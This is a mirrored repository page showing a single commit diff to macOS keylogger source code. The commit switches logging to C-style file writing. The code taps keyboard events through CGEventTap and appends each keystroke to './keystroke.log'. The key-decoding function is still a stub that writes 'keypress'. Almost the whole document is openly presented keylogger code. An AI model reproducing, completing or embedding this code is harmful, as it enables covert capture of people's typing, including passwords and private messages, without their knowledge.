mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Convert to C style file writing.
This commit is contained in:
parent
71a63661bc
commit
b648c3ade9
@ -1,5 +1,4 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <stdio.h>
|
||||
#include <ApplicationServices/ApplicationServices.h>
|
||||
#include <Carbon/Carbon.h>
|
||||
@ -7,9 +6,9 @@
|
||||
|
||||
using namespace std;
|
||||
|
||||
const char *logfileLocation = "./keystroke.log";
|
||||
fstream logfile;
|
||||
FILE *logfile = NULL;
|
||||
CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
|
||||
const char *convertKeyCode(int);
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
|
||||
@ -26,8 +25,9 @@ int main(int argc, const char *argv[]) {
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||
CGEventTapEnable(eventTap, true);
|
||||
|
||||
logfile.open(logfileLocation, ios::out);
|
||||
logfile << "Keylogging started.\n\n";
|
||||
const char *logfileLocation = "./keystroke.log";
|
||||
logfile = fopen(logfileLocation, "a");
|
||||
fprintf(logfile, "Keylogging has begun.\n\n");
|
||||
CFRunLoopRun();
|
||||
|
||||
return 0;
|
||||
@ -39,6 +39,10 @@ CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef
|
||||
}
|
||||
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||
|
||||
logfile << keyCode;
|
||||
fprintf(logfile, "%s", convertKeyCode(keyCode));
|
||||
return event;
|
||||
}
|
||||
|
||||
const char *convertKeyCode(int keyCode) {
|
||||
return "keypress";
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user